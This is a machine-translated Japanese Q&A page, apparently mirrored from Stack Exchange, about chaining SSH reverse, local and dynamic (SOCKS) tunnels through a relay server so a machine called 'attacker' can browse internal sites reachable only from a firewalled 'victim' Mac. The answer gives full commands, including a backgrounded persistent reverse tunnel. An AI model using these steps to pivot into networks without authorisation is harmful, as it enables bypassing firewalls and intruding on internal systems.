web-dev-qa-db-ja.com

靴下付きリバースsshトンネル

私の状況は次のとおりです。

  • 「Victim」という名前のファイアウォールの背後でMacを操作します。 (High Sierra 10.13.3)
  • ネット上のUbuntuVHS、「サーバー」という名前。ポート2222でsshが実行されています。(Ubuntu16.04)
  • 'attacker'という名前のファイアウォールの背後にある他のMac。 (High Sierra 10.13.3)

靴下を使って、「犠牲者」からのみアクセスできる内部Webサイトにアクセスしたいと思います。

「被害者」からssh -R 5555:localhost:22 [email protected] -P 2222を実行し、攻撃者から「サーバー」にsshを実行して、ssh victim@localhost -p 5555を実行すると、攻撃者から被害者へのシェルアクセスが可能になります。

私が達成する必要があるのは、靴下を使用して「犠牲者」からのみアクセス可能なWebサイトにアクセスすることです。

被害者からサーバーへの逆トンネルを設定し、サーバー上で着信ポートから逆接続ポートへの転送を設定し、攻撃者のローカルホストからリモート(サーバーに接続する)への転送も設定する必要があることを理解していますが、どうすればよいですか?私はこれをします?

攻撃者からサーバーに直接ソックスをセットアップする場合、Firefoxでssh -D 8080 [email protected] -p 2222を実行し、プロキシソックスv5 localhost:8080をセットアップしますが、サーバーで転送する方法がわかりません...

私にそれを説明できる人はいますか?どうも

1
Iz0r

どうやら誰もこの質問に答えることができません、私が自分で答えを見つけたのでそれは大丈夫です。

答えは次のとおりです。

  • オン被害者:_ssh -N -f -R 5555:localhost:22 -p <port_of_serv> <ip_of_serv>_
  • オン攻撃者#1:ssh (-N -f) -L 4444:localhost:5555 -p <port_of_serv> <ip_of_serv>
  • オン攻撃者#2:_ssh -p 4444 -D localhost:3333 user_on_victim@localhost_
  • オンattacker#3:Firefoxまたはircの場合、または一般的なネットワーク設定の場合:Socks(v5)プ​​ロキシ設定:127.0.0.1ポート3333

ポート3333でホストローカルホストを設定したすべてのアプリケーションは、servを介して被害者にトンネリングされ、 http://myip.com のようなものにアクセスすると、のIP /ホストが表示されます。犠牲者。ここからは、attacker(特定のアプリまたはシステム全体のソックス設定をセットアップする場合)でGUIアプリケーションを使用することもできます。これは、servを介してトンネリングされます。 to victimそしてあなたはvictimとして行動します。

思考過程で私が犯した間違いは、逆ポート方式がどのように見えるかを本当に理解していなかったということでした。簡単な言葉で説明しようと思います。

犠牲者の行動

_ssh -N -f -R 5555:localhost:22 -p <port_of_serv> <ip_of_serv>
_
  • _-N_ =シェルでコマンドを実行しません
  • _-f_ =プロセスをバックグラウンドに配置します(ターミナルウィンドウを閉じることができるように)
  • _-R_ =逆トンネル
  • _5555:localhost:22_ = 5555は、servが内部でリッスンしているポートであり、victimのポート22にデータを転送します。ポート2222でsshを実行するように犠牲者を設定した場合は、22を2222に変更する必要があります。
  • _-p_ = ssh on servが実行されているポート。

最初の攻撃アクション

_ssh (-N -f) -L 4444:localhost:5555 -p <port_of_serv> <ip_of_serv>`
_

attacker(_-L 4444:localhost:5555_)で行う最初のコマンドは、3番目のコマンドとの接続がvictimに直接トンネリングされるようにトンネルを設定します。 (これは、動的ポート転送/ Socksアプリケーション専用です)

victimでシェルにアクセスしたいだけの場合は、このコマンドの代わりに、servにsshして、コマンドを実行します: 'ssh user_on_victim @ localhost -p5555'。

ただし、シェルアクセスは必要ありません。すべてのデータを動的にトンネリングする必要があるため、ポートフォワードを作成する必要があります。

または概略図

  • _-L_ =ローカルポートフォワーディング(serv
  • _- 4444:localhost:5555_ポート4444から入ってくるすべてのデータをポート5555に入れます。

2回目の攻撃アクション

2番目のコマンドattacker

ssh -p 4444 -D localhost:3333 user_on_victim @ localhost

2つのトンネルを介した接続を初期化する実際のコマンドです。あなたが言うことはあなたが言うことです:ポート4444に接続し、入ってくるすべてのデータ(localhostポート3333)を4444に入れます(これはローカルでservからポート5555->に送られますvictimのポート22にプッシュされます。

または概略図

  • _-D_ =動的転送
  • _localhost:3333_ =ポート3333でリッスンし、ssh接続を介してポート4444にデータをプッシュしてサービスを提供します。
  • _-p 4444_ = servがリッスンしているポートは、データをポート5555に転送し、victimのポート22に転送します。

3回目の攻撃アクション

アドレス:localhostポート:3333でSOCKS(v5)プ​​ロキシサーバーを使用するようにアプリケーションまたはシステム全体をセットアップします。プロキシサーバーによって処理されるため、これらのアプリケーションが通常実行されるポートは関係ありません。理論的には、すべてのアプリケーションはsocksプロキシの動的ポート転送を介して実行できます。設定するだけです。 :)

attackerの3番目のアクションは、victimにトンネリングする実際のデータです。これがどのデータまたはアプリケーションであるかは関係ありません。そのため、動的転送であり、SOCKSによって処理されるため、これらのアプリケーションがどのポートで実行されるかは関係ありません。

誰かが私の説明に役立つことを願っています。

ごきげんよう....

2
iz0r